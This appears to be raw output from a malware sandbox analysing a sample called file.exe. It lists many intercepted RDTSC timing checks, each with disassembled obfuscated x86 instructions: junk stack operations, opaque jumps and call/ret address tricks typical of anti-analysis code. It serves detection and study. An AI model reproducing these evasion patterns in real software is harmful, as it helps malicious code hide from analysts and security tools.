Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6E52 second address: 5B6ECE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F865CD192E6h 0x00000009 popad 0x0000000a pop edx 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jno 00007F865CD192E4h 0x00000015 mov eax, dword ptr [eax] 0x00000017 jo 00007F865CD192DEh 0x0000001d jbe 00007F865CD192D8h 0x00000023 push eax 0x00000024 pop eax 0x00000025 mov dword ptr [esp+04h], eax 0x00000029 jo 00007F865CD192DEh 0x0000002f jp 00007F865CD192D8h 0x00000035 push ebx 0x00000036 pop ebx 0x00000037 pop eax 0x00000038 mov edi, dword ptr [ebp+122D2AD0h] 0x0000003e lea ebx, dword ptr [ebp+1245BB60h] 0x00000044 jo 00007F865CD192D9h 0x0000004a mov si, ax 0x0000004d xchg eax, ebx 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007F865CD192DCh 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6F95 second address: 5B6F99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6F99 second address: 5B6F9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6F9D second address: 5B6FEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 jmp 00007F865D1C5553h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push esi 0x00000012 pushad 0x00000013 jl 00007F865D1C5546h 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c pop esi 0x0000001d mov eax, dword ptr [eax] 0x0000001f jmp 00007F865D1C5555h 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b jnc 00007F865D1C5546h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6FEC second address: 5B70AC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 je 00007F865CD192D6h 0x0000000d pop edx 0x0000000e popad 0x0000000f pop eax 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007F865CD192D8h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a mov dword ptr [ebp+122D22B3h], eax 0x00000030 push 00000003h 0x00000032 jg 00007F865CD192D8h 0x00000038 push 00000000h 0x0000003a jmp 00007F865CD192E4h 0x0000003f push 00000003h 0x00000041 jmp 00007F865CD192E3h 0x00000046 push ecx 0x00000047 sbb edx, 776A82E0h 0x0000004d pop edi 0x0000004e push 824EAEDFh 0x00000053 jmp 00007F865CD192DDh 0x00000058 xor dword ptr [esp], 424EAEDFh 0x0000005f jmp 00007F865CD192E6h 0x00000064 lea ebx, dword ptr [ebp+1245BB6Bh] 0x0000006a or edx, dword ptr [ebp+122D2904h] 0x00000070 xchg eax, ebx 0x00000071 push eax 0x00000072 push edx 0x00000073 jng 00007F865CD192DCh 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D58D2 second address: 5D58E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 jmp 00007F865D1C554Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D58E5 second address: 5D58EC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D58EC second address: 5D58F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D58F7 second address: 5D58FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D58FB second address: 5D5901 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D5BD9 second address: 5D5BDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D5BDD second address: 5D5BE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D5CF5 second address: 5D5CF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D5CF9 second address: 5D5D05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push edx 0x00000008 pop edx 0x00000009 pushad 0x0000000a popad 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D6143 second address: 5D614C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D614C second address: 5D6159 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D62CC second address: 5D62D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D62D2 second address: 5D62D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D62D6 second address: 5D62F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865CD192E2h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c pushad 0x0000000d push ebx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D6486 second address: 5D648A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D648A second address: 5D648E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D65E5 second address: 5D6601 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F865D1C5557h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D675C second address: 5D6762 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D6762 second address: 5D6766 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CE665 second address: 5CE681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F865CD192E5h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CE681 second address: 5CE6A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C5554h 0x00000007 jg 00007F865D1C5548h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D6A10 second address: 5D6A1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F865CD192D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D6A1A second address: 5D6A20 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D6A20 second address: 5D6A26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D6A26 second address: 5D6A2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D72F5 second address: 5D72F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D72F9 second address: 5D7303 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D7303 second address: 5D7307 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D7307 second address: 5D7356 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F865D1C5546h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jmp 00007F865D1C554Dh 0x00000014 jmp 00007F865D1C5552h 0x00000019 jmp 00007F865D1C5558h 0x0000001e popad 0x0000001f jne 00007F865D1C554Ch 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D74B8 second address: 5D74D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F865CD192E6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DA75D second address: 5DA761 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A008B second address: 5A008F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E5B1 second address: 59E5B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E5B7 second address: 59E5BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E5BB second address: 59E5BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E19F7 second address: 5E19FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E07E8 second address: 5E07F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007F865D1C5546h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E20C8 second address: 5E20CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E56D3 second address: 5E56DD instructions: 0x00000000 rdtsc 0x00000002 jl 00007F865D1C554Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E56DD second address: 5E56E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E56E7 second address: 5E56EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E4DFA second address: 5E4E2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F865CD192DEh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F865CD192E7h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E4E2A second address: 5E4E2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E4F64 second address: 5E4F68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E4F68 second address: 5E4F6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E53A3 second address: 5E53D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F865CD192E5h 0x00000009 popad 0x0000000a jne 00007F865CD192D8h 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 jne 00007F865CD192D6h 0x00000019 pop edx 0x0000001a popad 0x0000001b pushad 0x0000001c jnl 00007F865CD192DCh 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E552B second address: 5E554B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C5552h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jbe 00007F865D1C555Fh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7331 second address: 5E7335 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E73E2 second address: 5E73F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 je 00007F865D1C554Eh 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E73F4 second address: 5E749E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 jp 00007F865CD192E2h 0x0000000f mov eax, dword ptr [eax] 0x00000011 js 00007F865CD192E4h 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b pushad 0x0000001c pushad 0x0000001d jmp 00007F865CD192E8h 0x00000022 pushad 0x00000023 popad 0x00000024 popad 0x00000025 jmp 00007F865CD192DEh 0x0000002a popad 0x0000002b pop eax 0x0000002c push 00000000h 0x0000002e push esi 0x0000002f call 00007F865CD192D8h 0x00000034 pop esi 0x00000035 mov dword ptr [esp+04h], esi 0x00000039 add dword ptr [esp+04h], 00000018h 0x00000041 inc esi 0x00000042 push esi 0x00000043 ret 0x00000044 pop esi 0x00000045 ret 0x00000046 jmp 00007F865CD192E4h 0x0000004b mov edi, 3108C05Eh 0x00000050 push 12AD7E26h 0x00000055 push eax 0x00000056 push edx 0x00000057 jnc 00007F865CD192D8h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E780D second address: 5E7811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7811 second address: 5E7815 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7902 second address: 5E7908 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7908 second address: 5E7912 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F865CD192D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7912 second address: 5E7916 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E85CF second address: 5E85D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F865CD192D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E86C5 second address: 5E86CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E86CB second address: 5E86CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E86CF second address: 5E8722 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C5551h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007F865D1C5548h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 xor dword ptr [ebp+12476D3Ah], ecx 0x0000002c push eax 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 jnc 00007F865D1C5546h 0x00000036 jnp 00007F865D1C5546h 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E8C02 second address: 5E8C6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F865CD192E6h 0x00000009 popad 0x0000000a nop 0x0000000b mov edi, dword ptr [ebp+122D245Ah] 0x00000011 push 00000000h 0x00000013 mov esi, dword ptr [ebp+122D57D3h] 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ebx 0x0000001e call 00007F865CD192D8h 0x00000023 pop ebx 0x00000024 mov dword ptr [esp+04h], ebx 0x00000028 add dword ptr [esp+04h], 0000001Dh 0x00000030 inc ebx 0x00000031 push ebx 0x00000032 ret 0x00000033 pop ebx 0x00000034 ret 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 push edx 0x00000039 jmp 00007F865CD192E3h 0x0000003e pop edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E9604 second address: 5E9615 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007F865D1C5546h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EBA55 second address: 5EBA5A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EBA5A second address: 5EBA70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F865D1C554Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EBA70 second address: 5EBA77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EBB09 second address: 5EBB0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EBB0F second address: 5EBB18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EBB18 second address: 5EBB1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC519 second address: 5EC523 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F865CD192D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED02E second address: 5ED034 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED034 second address: 5ED08C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865CD192E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov edi, dword ptr [ebp+122D2C60h] 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push edi 0x00000019 call 00007F865CD192D8h 0x0000001e pop edi 0x0000001f mov dword ptr [esp+04h], edi 0x00000023 add dword ptr [esp+04h], 00000019h 0x0000002b inc edi 0x0000002c push edi 0x0000002d ret 0x0000002e pop edi 0x0000002f ret 0x00000030 push 00000000h 0x00000032 mov dword ptr [ebp+122D1967h], ebx 0x00000038 xchg eax, ebx 0x00000039 pushad 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ECDDE second address: 5ECDF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jc 00007F865D1C5546h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 je 00007F865D1C554Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED952 second address: 5ED95C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F865CD192D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EDB8D second address: 5EDB92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EDB92 second address: 5EDBA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F865CD192DEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EDBA4 second address: 5EDC22 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F865D1C5546h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov dword ptr [ebp+122D1959h], edx 0x00000015 mov si, di 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007F865D1C5548h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 0000001Bh 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push esi 0x00000039 call 00007F865D1C5548h 0x0000003e pop esi 0x0000003f mov dword ptr [esp+04h], esi 0x00000043 add dword ptr [esp+04h], 00000015h 0x0000004b inc esi 0x0000004c push esi 0x0000004d ret 0x0000004e pop esi 0x0000004f ret 0x00000050 or dword ptr [ebp+122D2FDEh], edx 0x00000056 xchg eax, ebx 0x00000057 jmp 00007F865D1C5555h 0x0000005c push eax 0x0000005d pushad 0x0000005e push eax 0x0000005f push edx 0x00000060 pushad 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F22A6 second address: 5F22AC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F3F71 second address: 5F3FA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C554Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F865D1C5556h 0x00000010 jo 00007F865D1C554Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F3FA4 second address: 5F3FEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 jg 00007F865CD192DCh 0x0000000c sub dword ptr [ebp+1247F94Ch], edi 0x00000012 sub dword ptr [ebp+122D2E74h], edi 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007F865CD192D8h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 00000014h 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 mov bx, 4098h 0x00000038 push 00000000h 0x0000003a push esi 0x0000003b mov edi, dword ptr [ebp+122D26C9h] 0x00000041 pop ebx 0x00000042 push eax 0x00000043 push ecx 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F3FEE second address: 5F3FF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
